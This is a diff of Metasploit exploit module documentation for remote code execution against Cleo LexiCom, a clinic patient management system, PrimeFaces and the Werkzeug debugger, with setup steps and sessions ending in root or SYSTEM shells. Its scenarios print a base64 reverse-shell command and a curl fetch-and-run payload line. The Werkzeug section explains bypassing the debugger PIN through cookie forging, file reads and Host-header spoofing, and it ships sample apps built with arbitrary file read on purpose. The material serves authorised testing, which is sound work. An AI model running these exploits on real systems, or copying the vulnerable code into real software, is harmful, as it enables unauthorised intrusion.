+[+] The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022) +[+] Deleted temp/hzbcsche +[*] Meterpreter session 2 opened (192.168.86.42:4444 -> 192.168.86.50:59175) at 2024-12-17 13:42:09 +0000 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-V28QNSO2H05 +OS : Windows Server 2022 (10.0 Build 20348). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 1 +Meterpreter : x64/windows +meterpreter > pwd +C:\LexiCom +meterpreter > +``` diff --git a/documentation/modules/exploit/multi/http/clinic_pms_fileupload_rce.md b/documentation/modules/exploit/multi/http/clinic_pms_fileupload_rce.md new file mode 100644 index 000000000000..cbe6258daeab --- /dev/null +++ b/documentation/modules/exploit/multi/http/clinic_pms_fileupload_rce.md @@ -0,0 +1,116 @@ +## Vulnerable Application +The Clinic's Patient Management System (CPMS) 1.0 is vulnerable to Unauthenticated Remote Code Execution (RCE) due to a file upload vulnerability. +This exploit allows an attacker to upload arbitrary files, such as a PHP web shell, which can then be executed remotely. +The exploitation occurs because of a misconfiguration in the server, specifically a lack of file validation for uploads and the presence of +a directory listing feature in `/pms/user_images`. +This enables an attacker to upload a PHP file and access it via a publicly accessible URL, executing arbitrary PHP code. + +## Verification Steps + +### Vulnerable Application Installation Setup +1. Install Clinic's Patient Management System 1.0 on your web server. + - Download the Web Application from [here](https://www.sourcecodester.com/download-code?nid=15453&title=Clinic%27s+Patient+Management+System+in+PHP%2FPDO+Free+Source+Code) + - For **Windows** + - [ ] Open your XAMPP Control Panel and start Apache and MySQL. + - [ ] Extract the downloaded source code zip file. + - [ ] Copy the extracted source code folder and paste it into the XAMPP's "htdocs" directory. + - [ ] Browse the PHPMyAdmin in a browser. i.e. http://localhost/phpmyadmin + - [ ] Create a new database naming `pms_db`. + - [ ] Import the provided SQL file. The file is known as pms_db.sql located inside the database folder. + - [ ] Browse the Clinic Patient Management System in a browser. i.e. http://localhost/pms/ + + - For **Linux** + - [ ] Start Apache2 & MySQL with the command `sudo systemctl start apache2 && sudo systemctl start mysql` + - [ ] Install PHPMyAdmin with the command `sudo apt install phpmyadmin -y` + - [ ] Edit `/etc/apache2/apache2.conf` by appending this line: `Include /etc/phpmyadmin/apache.conf` + - [ ] Extract the downloaded source code zip file into "/var/www/html" directory + - [ ] Next steps are similar to the ones for Windows, so follow that + +2. Start `msfconsole` and load the exploit module: +```bash + msfconsole + use exploit/multi/http/clinic_pms_fileupload_rce +``` + +3. Set the required options: +```bash + set rport + set rhost + set targeturi /pms +``` + +4. Check if the target is vulnerable: +```bash + check +``` + + If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit: +``` + [+] The target is vulnerable. +``` + +5. Set up the listener for the exploit: +```bash + set lport + set lhost +``` + +6. Launch the exploit: +```bash + exploit +``` + +7. If successful, you will receive a PHP Meterpreter shell. + +## Options +- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`). +- `LISTING_DELAY`: (Optional) The time to wait before fetching the directory listing after uploading the shell (default: `2` seconds). + + +## Scenarios + +### Clinic's Patient Management System on a Linux Target +```bash +msf exploit(multi/http/clinic_pms_fileupload_rce) > check +[*] Checking if target is vulnerable... +[+] 127.0.0.1:80 - The target is vulnerable. + +msf exploit(multi/http/clinic_pms_fileupload_rce) > exploit +[*] Started reverse TCP handler on 192.168.1.104:4444 +[*] Detected OS: linux +[*] Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self. +[*] Uploading PHP Meterpreter payload as zuX7FDRe.php... +[+] Payload uploaded successfully! +[*] Executing the uploaded shell at /pms/user_images/1734340436zuX7FDRe.php... +[*] Sending stage (40004 bytes) to 192.168.1.104 +[*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.104:48290) at 2024-12-16 14:43:59 +0530 + +meterpreter > sysinfo +Computer : kali +OS : Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64 +Meterpreter : php/linux +meterpreter > +``` + +### Clinic's Patient Management System on a Windows Target +```bash +msf exploit(multi/http/clinic_pms_fileupload_rce) > check +[*] Checking if target is vulnerable... +[+] 192.168.1.103:80 - The target is vulnerable. + +msf exploit(multi/http/clinic_pms_fileupload_rce) > exploit +[*] Started reverse TCP handler on 192.168.1.104:4444 +[*] Detected OS: winnt +[*] Target is Windows. Using standard PHP Meterpreter payload. +[*] Uploading PHP Meterpreter payload as lgTprVq5.php... +[+] Payload uploaded successfully! +[*] Executing the uploaded shell at /pms/user_images/1734341267lgTprVq5.php... +[*] Sending stage (40004 bytes) to 192.168.1.103 +[*] Meterpreter session 2 opened (192.168.1.104:4444 -> 192.168.1.103:60615) at 2024-12-16 14:57:43 +0530 + +meterpreter > sysinfo +Computer : DESKTOP-VE9J36K +OS : Windows NT DESKTOP-VE9J36K 10.0 build 19045 (Windows 10) AMD64 +Meterpreter : php/windows +meterpreter > +``` diff --git a/documentation/modules/exploit/multi/http/primefaces_weak_encryption_rce.md b/documentation/modules/exploit/multi/http/primefaces_weak_encryption_rce.md new file mode 100644 index 000000000000..39bb3299ddeb --- /dev/null +++ b/documentation/modules/exploit/multi/http/primefaces_weak_encryption_rce.md @@ -0,0 +1,104 @@ +## Vulnerable Application + +This module exploits an expression language remote code execution flaw in the Primefaces JSF framework. +Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, +due to the use of weak crypto and default encryption password and salt. + +Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. The following payloads worked in the docker image: + +* `payload/cmd/unix/reverse_jjs` +* `payload/cmd/unix/reverse_openssl` +* `payload/cmd/unix/reverse_perl` +* `payload/cmd/unix/reverse_python` +* `payload/cmd/unix/reverse_python_ssl` + +### Docker Image + +1. `git clone https://github.com/pimps/CVE-2017-1000486` +2. `cd CVE-2017-1000486/` +3. `docker build . -t primefaces` +4. `docker run -p 8090:8080 -t primefaces` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use exploit/multi/http/primefaces_weak_encryption_rce` +1. Do: `set rhosts ` +1. Do: `set verbose true` +1. Do: `set payload payload/cmd/unix/reverse_jjs` +1. You should get a shell. + +## Options + +### PASSWORD + +The password to login. Defaults to `primefaces` + +## Scenarios + +### Docker image with Tomcat 7.0 with the Primefaces 5.2 Showcase application + +CMD payload + +``` +msf6 > use exploit/multi/http/primefaces_weak_encryption_rce +[*] No payload configured, defaulting to cmd/unix/reverse_netcat +msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090 +rport => 8090 +msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true +verbose => true +msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set payload payload/cmd/unix/reverse_jjs +payload => cmd/unix/reverse_jjs +msf6 exploit(linux/http/primefaces_weak_encryption_rce) > exploit + +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Victim evaluates Expression Language expressions +[*] Attempting to execute: echo ZWNobyAiZXZhbChuZXcgamF2YS5sYW5nLlN0cmluZyhqYXZhLnV0aWwuQmFzZTY0LmRlY29kZXIuZGVjb2RlKCdkbUZ5SUZCeWIyTmxjM05DZFdsc1pHVnlQVXBoZG1FdWRIbHdaU2dpYW1GMllTNXNZVzVuTGxCeWIyTmxjM05DZFdsc1pHVnlJaWs3ZG1GeUlIQTlibVYzSUZCeWIyTmxjM05DZFdsc1pHVnlLQ0l2WW1sdUwzTm9JaWt1Y21Wa2FYSmxZM1JGY25KdmNsTjBjbVZoYlNoMGNuVmxLUzV6ZEdGeWRDZ3BPM1poY2lCemN6MUtZWFpoTG5SNWNHVW9JbXBoZG1FdWJtVjBMbE52WTJ0bGRDSXBPM1poY2lCelBXNWxkeUJ6Y3lnaU1TNHhMakV1TVNJc05EUTBOQ2s3ZG1GeUlIQnBQWEF1WjJWMFNXNXdkWFJUZEhKbFlXMG9LU3h3WlQxd0xtZGxkRVZ5Y205eVUzUnlaV0Z0S0Nrc2MyazljeTVuWlhSSmJuQjFkRk4wY21WaGJTZ3BPM1poY2lCd2J6MXdMbWRsZEU5MWRIQjFkRk4wY21WaGJTZ3BMSE52UFhNdVoyVjBUM1YwY0hWMFUzUnlaV0Z0S0NrN2QyaHBiR1VvSVhNdWFYTkRiRzl6WldRb0tTbDdkMmhwYkdVb2NHa3VZWFpoYVd4aFlteGxLQ2srTUNsemJ5NTNjbWwwWlNod2FTNXlaV0ZrS0NrcE8zZG9hV3hsS0hCbExtRjJZV2xzWVdKc1pTZ3BQakFwYzI4dWQzSnBkR1VvY0dVdWNtVmhaQ2dwS1R0M2FHbHNaU2h6YVM1aGRtRnBiR0ZpYkdVb0tUNHdLWEJ2TG5keWFYUmxLSE5wTG5KbFlXUW9LU2s3YzI4dVpteDFjMmdvS1R0d2J5NW1iSFZ6YUNncE8wcGhkbUV1ZEhsd1pTZ2lhbUYyWVM1c1lXNW5MbFJvY21WaFpDSXBMbk5zWldWd0tEVXdLVHQwY25sN2NDNWxlR2wwVm1Gc2RXVW9LVHRpY21WaGF6dDlZMkYwWTJnb1pTbDdmWDA3Y0M1a1pYTjBjbTk1S0NrN2N5NWpiRzl6WlNncE93PT0nKSkpOyJ8ampz|((command -v base64 >/dev/null && (base64 --decode || base64 -d)) || (command -v openssl >/dev/null && openssl enc -base64 -d))|sh +[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:54104) at 2024-11-14 11:31:01 -0500 + +whoami +root +``` + +fetch payload + +``` +msf6 > use exploit/multi/http/primefaces_weak_encryption_rce +[*] No payload configured, defaulting to cmd/unix/reverse_netcat +msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090 +rport => 8090 +msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true +verbose => true +msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/primefaces_weak_encryption_rce) > exploit + +[*] Command to run on remote host: curl -so ./ihPBtpwPCD http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./ihPBtpwPCD; ./ihPBtpwPCD & +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Victim evaluates Expression Language expressions +[*] Attempting to execute: curl -so ./ihPBtpwPCD http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./ihPBtpwPCD; ./ihPBtpwPCD & +[*] Client 172.17.0.2 requested /aZRe4yWUN3U2-lDtdsaGlA +[*] Sending payload to 172.17.0.2 (curl/7.64.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 172.17.0.2 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.2:44312) at 2024-11-14 12:04:14 -0500 + +meterpreter > sysinfo +Computer : 172.17.0.2 +OS : Debian 10.10 (Linux 6.11.2-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: root +``` \ No newline at end of file diff --git a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md index 79032305ac6c..8c83ec23790a 100644 --- a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md +++ b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md @@ -1,72 +1,602 @@ ## Vulnerable Application -Verified against: - + 0.9.6 on Debian - + 0.9.6 on Centos - + 0.10 on Debian - -A sample application which enables the console debugger is available [here](https://github.com/h00die/MSF-Testing-Scripts/blob/master/werkzeug_console.py) +### Background + +The [Werkzeug](https://werkzeug.palletsprojects.com/) +[debugger](https://werkzeug.palletsprojects.com/en/3.0.x/debug/) allows +developers to execute python commands in a web application either when an +exception is not caught by the application, or via the dedicated console if +enabled. + +Werkzeug is included with [Flask](https://flask.palletsprojects.com/), but the +debugger is not enabled by default. It is also included in other projects, for +example +[RunServerPlus](https://django-extensions.readthedocs.io/en/latest/runserver_plus.html), +part of [django-extensions](https://django-extensions.readthedocs.io/) and may +also be used alone. + +[The Werkzeug documentation](https://werkzeug.palletsprojects.com/en/3.0.x/debug/) +states: "*The debugger allows the execution of arbitrary code which makes it a +major security risk. The debugger must never be used on production machines. We +cannot stress this enough. Do not enable the debugger in production. Production +means anything that is not development, and anything that is publicly +accessible.*" + +Additionally, +[the Flask documentation](https://flask.palletsprojects.com/en/3.0.x/debugging/) +states: "*Do not run the development server, or enable the built-in debugger, in +a production environment. The debugger allows executing arbitrary Python code +from the browser. It’s protected by a pin, but that should not be relied on for +security.*" + +**Of course this doesn't prevent developers from mistakenly enabling it in +production!** + +### Exploit Details + +Werkzeug versions 0.10 and older of did not include the PIN security feature, +therefore if the debugger was enabled then arbitrary code execution could be +easily achieved. Versions 0.11 and above enable the PIN by default, though it +can be disabled by the application developer. The format of the PIN is 9 +numerical digits, and can include hyphens (which are ignored by the +application.) I.e. `123456789` is the same as `123-456-789`. The PIN is logged +to stdout when the PIN prompt is shown to the user, therefore if access to +stdout is possible then it may be able to obtain the PIN using that feature. + +A custom PIN can be set by the application developer as an environment variable, +but it is more commonly generated by Werkzeug using an algorithm that is seeded +by information about the environment that the application is running in. + +Therefore, if the debugger or console is enabled and is not protected by a PIN, +or if it is possible to obtain the PIN, cookie or the required information about +the environment that the app is running in (e.g. by exploiting a separate path +traversal bug in the app) then remote Python code execution will be possible. + +If the debugger is "secured" with a PIN then, it will be automatically locked +after 11 unsuccessful authentication attempts, requiring a restart to re-enable +PIN based authentication. This can be avoided by calculating the value of a +cookie and sending that to the debugger instead of sending the PIN, which is +what this module does, unless the Known-PIN method of exploitation is used. +Furthermore, authentication using a cookie works even if the PIN-based +authentication method has been locked because of too many failed authentication +attempts. This means that this exploit will work even if the debugger +PIN-authentication is locked. + +[HackTheBox had a challenge called "Agile"](https://app.hackthebox.com/machines/Agile) +that required this vulnerability to be exploited in order to gain an initial +foothold. As a result there are many walkthroughs available online that explain +how a valid PIN can be generated using +[the algorithm in the Werkzeug source code](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L142) +along with information about the environment. As far as I can tell, none of +these walkthroughs mention that a cookie can also be generated, and that a +cookie will bypass a PIN-locked debugger. Neither do they mention that very old +versions of Werkzeug don't require PIN or that the PIN/cookie generation +algorithm has changed over time. + +To support the different PIN/cookie generation algorithms, this module supports +multiple different versions of Werkzeug as the target. + +It should be noted that version +[3.0.3 includes a check](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L309) +to see ensure that requests that include python code to be executed by the +debugger must come from localhost or 127.0.0.1. This is done by checking the +Host HTTP header, and therefore can in some cases be bypassed by setting the +Host header manually using the VHOST parameter in this module. + +## Tested Versions + +This module has been verified against the following versions of Werkzeug: +- 3.0.3 on Debian 12, Windows 11 and macOS 14.6 +- 1.1.4 on Debian 12 +- 1.0.1 on Debian 12 +- 0.11.5 on Debian 12 +- 0.10 on Debian 12 + +## Sample Vulnerable Application + +The following Docker Compose file, Dockerfiles and Python script can be used to +build and run a set of containers that have the console enabled (at /console) +and also contains endpoints that cause the application to attempt to read the +content of a file and include it in the response. These endpoints can be used +for arbitrary file read, but also for triggering the debugger, for example by +requesting the content of a file that doesn't exist in the container. + +#### compose.yaml + + services: + werkzeug-3.0.3: + build: + dockerfile: werkzeug-3.0.3.Dockerfile + ports: + - "80:80" + werkzeug-1.0.1: + build: + dockerfile: werkzeug-1.0.1.Dockerfile + ports: + - "81:80" + werkzeug-0.11.5: + build: + dockerfile: werkzeug-0.11.5.Dockerfile + ports: + - "82:80" + werkzeug-0.10: + build: + dockerfile: werkzeug-0.10.Dockerfile + ports: + - "83:80" + werkzeug-3.0.3-basicauth-custompin: + build: + dockerfile: werkzeug-3.0.3-basicauth.Dockerfile + environment: + WERKZEUG_DEBUG_PIN: 1234 + ports: + - "84:80" + werkzeug-3.0.3-noevalex: + build: + dockerfile: werkzeug-3.0.3.Dockerfile + ports: + - "85:80" + entrypoint: + - ./app.py + - --no-evalex + +#### werkzeug-3.0.3.Dockerfile + + # syntax=docker/dockerfile:1 + FROM python:3 + RUN pip install werkzeug==3.0.3 flask==3.0.3 + COPY report.txt . + COPY --chmod=744 app.py . + EXPOSE 80 + ENTRYPOINT ["./app.py"] + +#### werkzeug-1.0.1.Dockerfile + + # syntax=docker/dockerfile:1 + FROM python:2 + RUN pip install werkzeug==1.0.1 flask==1.1.4 + COPY report.txt . + COPY --chmod=744 app.py . + EXPOSE 80 + ENTRYPOINT ["./app.py"] + +#### werkzeug-0.11.5.Dockerfile + + # syntax=docker/dockerfile:1 + FROM python:2 + RUN pip install werkzeug==0.11.5 flask==0.12.5 + COPY report.txt . + COPY --chmod=744 app.py . + EXPOSE 80 + ENTRYPOINT ["./app.py"] + +#### werkzeug-0.10.Dockerfile + + # syntax=docker/dockerfile:1 + FROM python:2 + RUN pip install werkzeug==0.10 flask==0.12.5 + COPY report.txt . + COPY --chmod=744 app.py . + EXPOSE 80 + ENTRYPOINT ["./app.py"] + +#### werkzeug-3.0.3-basicauth.Dockerfile + + # syntax=docker/dockerfile:1 + FROM python:3 + RUN pip install werkzeug==3.0.3 flask==3.0.3 flask-httpauth==4.8.0 + COPY report.txt . + COPY --chmod=744 app-basicauth.py app.py + EXPOSE 80 + ENTRYPOINT ["./app.py"] + +#### app.py + + #!/usr/bin/env python + + import click + from flask import Flask, request, url_for, make_response + from sys import argv + + app = Flask(__name__) + + @app.route("/") + def index(): + return ( + '

' + 'Download Report Using GET

' + '

' + '' + '' + '

' + ) + + def build_response(filename): + with open(filename) as file: + response = make_response(file.read()) + response.headers['Content-disposition'] = 'attachment' + return response + + @app.route("/getdownload") + def getdownload(): + return build_response(request.args.get('file')) + + @app.route("/postdownload", methods=['POST', 'PUT']) + def postdownload(): + return build_response(request.form['file']) + + @click.command() + @click.option("--no-evalex", is_flag=True, default=False) + def runserver(no_evalex): + evalex = not no_evalex + app.run(host='0.0.0.0', port=80, debug=True, threaded=True, + use_reloader=False, use_evalex=evalex) + + if __name__ == '__main__': + runserver() + +#### app-basicauth.py + + #!/usr/bin/env python + + import click + from flask import Flask, request, url_for, make_response + from sys import argv + + from flask_httpauth import HTTPBasicAuth + from werkzeug.security import generate_password_hash, check_password_hash + + app = Flask(__name__) + + auth = HTTPBasicAuth() + users = {"admin": generate_password_hash("admin")} + + @auth.verify_password + def verify_password(username, password): + if username in users and \ + check_password_hash(users.get(username), password): + return username + + @app.route("/") + @auth.login_required + def index(): + return ( + '

' + 'Download Report Using GET

' + '

' + '' + '' + '

' + ) + + def build_response(filename): + with open(filename) as file: + response = make_response(file.read()) + response.headers['Content-disposition'] = 'attachment' + return response + + @app.route("/getdownload") + @auth.login_required + def getdownload(): + return build_response(request.args.get('file')) + + @app.route("/postdownload", methods=['POST', 'PUT']) + @auth.login_required + def postdownload(): + return build_response(request.form['file']) + + @click.command() + @click.option("--no-evalex", is_flag=True, default=False) + def runserver(no_evalex): + evalex = not no_evalex + app.run(host='0.0.0.0', port=80, debug=True, threaded=True, + use_reloader=False, use_evalex=evalex) + + if __name__ == '__main__': + runserver() + +#### report.txt + + Hi there, I'm a sample report ## Verification Steps - 1. Install the application - 2. Start msfconsole - 3. Do: `use exploit/multi/http/werkzeug_debug_rce` - 4. Do: `set rport ` - 5. Do: `set rhost ` - 6. Do: `check` -``` -[+] 10.108.106.201:8081 - The target is vulnerable. -``` - 7. Do: `set payload python/meterpreter/reverse_tcp` - 8. Do: `set lhost ` - 9. Do: `exploit` - 10. You should get a shell. +1. Run the docker containers +2. Start msfconsole + +### Werkzeug 3.0.3 using /console + +3. Do: `use exploit/multi/http/werkzeug_debug_rce` +4. Do: `set RHOSTS ` +5. Do: `set LHOST ` +6. Do: `set VHOST 127.0.0.1` +7. Do: `set MACADDRESS ` +8. Do: `set MACHINEID ` +9. Do: `set FLASKPATH /usr/local/lib//site-packages/flask/app.py` (where `` matches the version on the system being exploited) +10. Do: `run` +11. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 3.0.3 using debugger (GET) + +12. Do: `set TARGETURI /getdownload?file=` +13. Do: `run` +14. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 3.0.3 using debugger (POST) + +15. Do: `set METHOD POST` +16. Do: `set TARGETURI /postdownload` +17. Do: `set REQUESTBODY file=` +18. Do: `run` +19. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 1.0.1 using /console + +20. Do: `unset METHOD` +21. Do: `unset TARGETURI` +22. Do: `unset REQUESTBODY` +23. Do: `set RPORT 81` +24. Do: `set TARGET 1` +25. Do: `set MACADDRESS ` +26. Do: `set MACHINEID ` +27. Do: `set FLASKPATH /usr/local/lib/python2.7/site-packages/flask/app.pyc` +28. Do: `run` +29. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 1.0.1 using /debugger (GET) + +30. Do: `set TARGETURI /getdownload?file=` +31. Do: `run` +32. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 1.0.1 using debugger (POST) + +33. Do: `set METHOD POST` +34. Do: `set TARGETURI /postdownload` +35. Do: `set REQUESTBODY file=` +36. Do: `run` +37. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 0.11.5 using /console + +38. Do: `unset METHOD` +39. Do: `unset TARGETURI` +40. Do: `unset REQUESTBODY` +41. Do: `set RPORT 82` +42. Do: `set TARGET 2` +43. Do: `set MACADDRESS ` +44. Do: `set MACHINEID ` +45. Do: `run` +46. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 0.11.5 using /debugger (GET) + +47. Do: `set TARGETURI /getdownload?file=` +48. Do: `run` +49. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 0.11.5 using debugger (POST) + +50. Do: `set METHOD POST` +51. Do: `set TARGETURI /postdownload` +52. Do: `set REQUESTBODY file=` +53. Do: `run` +54. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 0.10.1 (No authentication required) using /console + +55. Do: `unset METHOD` +56. Do: `unset TARGETURI` +57. Do: `unset REQUESTBODY` +58. Do: `set RPORT 83` +59. Do: `set TARGET 3` +60. Do: `set AUTHMODE none` +61. Do: `set MACADDRESS ` +62. Do: `set MACHINEID ` +63. Do: `run` +64. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 0.10.1 (No authentication required) using /debugger (GET) + +65. Do: `set TARGETURI /getdownload?file=` +66. Do: `run` +67. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 0.10.1 (no authentication required) using debugger (POST) + +68. Do: `set METHOD POST` +69. Do: `set TARGETURI /postdownload` +70. Do: `set REQUESTBODY file=` +71. Do: `run` +72. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 3.0.3 using debugger (POST) and known PIN with Basic HTTP Auth + +73. Do: `set RPORT 84` +74. Do: `set TARGET 0` +75. Do: `set AUTHMODE known-PIN` +76. Do: `set HTTPUSERNAME admin` +77. Do: `set HTTPPASSWORD admin` +78. Do: `set PIN 1234` +79. Do: `run` +80. You should see a cookie being logged then get a shell. + +### Werkzeug 3.0.3 interactive debugger disabled + +81. Do: `set RPORT 85` +82. Do: `unset AUTHMODE` +83. Do: `set MACADDRESS ` +84. Do: `set MACHINEID ` +85. Do: `set FLASKPATH /usr/local/lib//site-packages/flask/app.py` (where `` matches the version on the system being exploited) +86. Do: `run` +87. You should see a failure due to the check failing. ## Options - **TARGETURI** +### `AUTHMODE` + +Method of authentication. Valid values are: + +- `generated-cookie`: Cookie generated from information provided about the + application's environment. **When this mode is used, the following additional + options must be set:** + - `APPNAME`: The name of the application according to Werkzeug. This is often + `Flask`, `DebuggedApplication` or `wsgi_app`. Used along with other + information to generate a PIN and cookie. + - `CGROUP`: Control group. This may be an empty string (''), for example if + the OS running the app is Linux and supports cgroup v2, or the OS is not + Linux. If you have path traversal on Linux, this could be read from + `/proc/self/cgroup` + - `FLASKPATH`: Path to (and including) `site-packages/flask/app.py`. *If you + have triggered the debugger via an exception, it will be at the top of the + stack trace. E.g. `/usr/local/lib/python3.12/site-packages/flask/app.py`*. + **Note that the file extension may need to be changed to .pyc** + - `MACADDRESS`: The MAC address of the system that the application is running + on. *If you have path traversal on Linux, this could be read from + `/sys/class/net/eth0/`* + - `MACHINEID`: + - On Linux: *If you have path traversal on Linux, this could be read from + /etc/machine-id, or if that doesn't exist, + /proc/sys/kernel/random/boot_id.* + - On Windows: This is a UUID stored in the registry at + `HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid`. + - On macOS,: This is the UTF-8 encoded serial number of the system + (lower-case hexadecimal), padded to 32 characters. E.g. `N0TAREALSERIAL` + becomes + `4e3054415245414c53455249414c000000000000000000000000000000000000`. This + can be retrieved with the following command + `ioreg -c IOPlatformExpertDevice | grep \"serial-number\"` + - `MODULENAME`: Name of the application module. Often `flask.app` or + `werkzeug.debug` + - `SERVICEUSER`: User account name that the service is running under. + [This may be an empty string ('') in some cases](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L172) + . *If you have path traversal on Linux, you may be able to read this from + `/proc/self/environ`* +- `known-cookie`: Cookie provided by user. **When this mode is used, the + following additional option must be set:** + - `COOKIE`: The HTTP cookie to use for authentication to the debugger. +- `known-PIN`: **Does not bypass PIN-locked applications.** PIN provided by + user. **When this mode is used, the following additional option must be set:** + - `PIN`: Known 6 digit PIN to use for authentication. This can be set to a + custom value by the application developer, in which case generating the pin + won't work. *However, if you have path traversal, you may be able to + retrieve the PIN by reading the application source code, or on Linux by + reading `/proc/self/environ` to obtain the value. of the + `WERKZEUG_DEBUG_PIN` environment variable. It may also be possible to obtain + the PIN by accessing the logging that Werkzeug prints to stdout*. +- `none`: For applications that don't require authentication. I.e. Werkzeug + version 0.10 or lower or PIN authentication has been disabled by the + application developer. + +### `METHOD` - TARGETURI by default is `/console`, as defined by werkzeug, however it can be changed within the python script. +HTTP method used to access debugger or console. This is typically GET if the +`TARGETURI` is `/console` but it may be necessary to use other methods to +trigger the debugger. Valid values are: `GET`, `HEAD`, `POST`, `PUT`, `DELETE`, +`OPTIONS`, `TRACE` and `PATCH`. **When `METHOD` is `POST`, `PUT` or `PATCH` the +following additional option may be set:** + +- `REQUESTBODY`: Body to send in POST/PUT/PATCH request, if required to trigger + the debugger. E.g. invalid form value to raise an exception. **When this is + set the following additional option may be set:** + - `REQUESTCONTENTTYPE`: Request body encoding. Default: + `application/x-www-form-urlencoded` + +### `TARGETURI` + +The path to the console or resource used to trigger the debugger. Default value +is `/console`. + +### `VHOST` + +The value to use in the HTTP `Host` header. It may be necessary to set this to +`127.0.0.1` or `localhost` if the target Werkzeug version is 3.0.3 or later, +however this may hamper connectivity if the `Host` header is validated before +the request is passed to the application. + +### `TARGET` + +Determines which algorithm the exploit module will use to generate a pin and +cookie. Valid values are: + +- `0`: Werkzeug > 1.0.1 (Flask > 1.1.4) +- `1`: Werkzeug 0.11.6 - 1.0.1 (Flask 1.0 - 1.1.4) +- `2`: Werkzeug 0.11 - 0.11.5 (Flask < 1.0) +- `3`: Werkzeug < 0.11 (Flask < 1.0) ## Scenarios Example utilizing the previously mentioned sample app listed above. -``` -msf > use exploit/multi/http/werkzeug_debug_rce -msf exploit(werkzeug_debug_rce) > set rport 8081 -rport => 8081 -msf exploit(werkzeug_debug_rce) > set rhost 10.108.106.201 -rhost => 10.108.106.201 -msf exploit(werkzeug_debug_rce) > check -[+] 10.108.106.201:8081 - The target is vulnerable. -msf exploit(werkzeug_debug_rce) > set payload python/meterpreter/reverse_tcp -payload => python/meterpreter/reverse_tcp -msf exploit(werkzeug_debug_rce) > set lhost 10.108.106.121 -lhost => 10.108.106.121 -msf exploit(werkzeug_debug_rce) > exploit - -[*] Started reverse handler on 10.108.106.121:4444 -[*] Sending stage (25277 bytes) to 10.108.106.201 -[*] Meterpreter session 2 opened (10.108.106.121:4444 -> 10.108.106.201:36720) at 2015-07-09 19:02:52 -0400 - -meterpreter > getpid -Current pid: 13034 -meterpreter > getuid -Server username: root -meterpreter > sysinfo -Computer : werkzeug -OS : Linux 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt11-1 (2015-05-24) -Architecture : x86_64 -Meterpreter : python/python -meterpreter > shell -Process 13037 created. -Channel 0 created. -/bin/sh: 0: can't access tty; job control turned off -# ls -app.py app.pyc werkzeug -# exit -meterpreter > exit -[*] Shutting down Meterpreter... -``` + $ msfconsole -q + msf6 > use exploit/multi/http/werkzeug_debug_rce + [*] No payload configured, defaulting to python/meterpreter/reverse_tcp + msf6 exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.168.23.5 + RHOSTS => 192.168.23.5 + msf6 exploit(multi/http/werkzeug_debug_rce) > set LHOST 192.168.23.117 + LHOST => 192.168.23.117 + msf6 exploit(multi/http/werkzeug_debug_rce) > set VHOST 127.0.0.1 + VHOST => 127.0.0.1 + msf6 exploit(multi/http/werkzeug_debug_rce) > set MACADDRESS 02:42:ac:12:00:04 + MACADDRESS => 02:42:ac:12:00:04 + msf6 exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 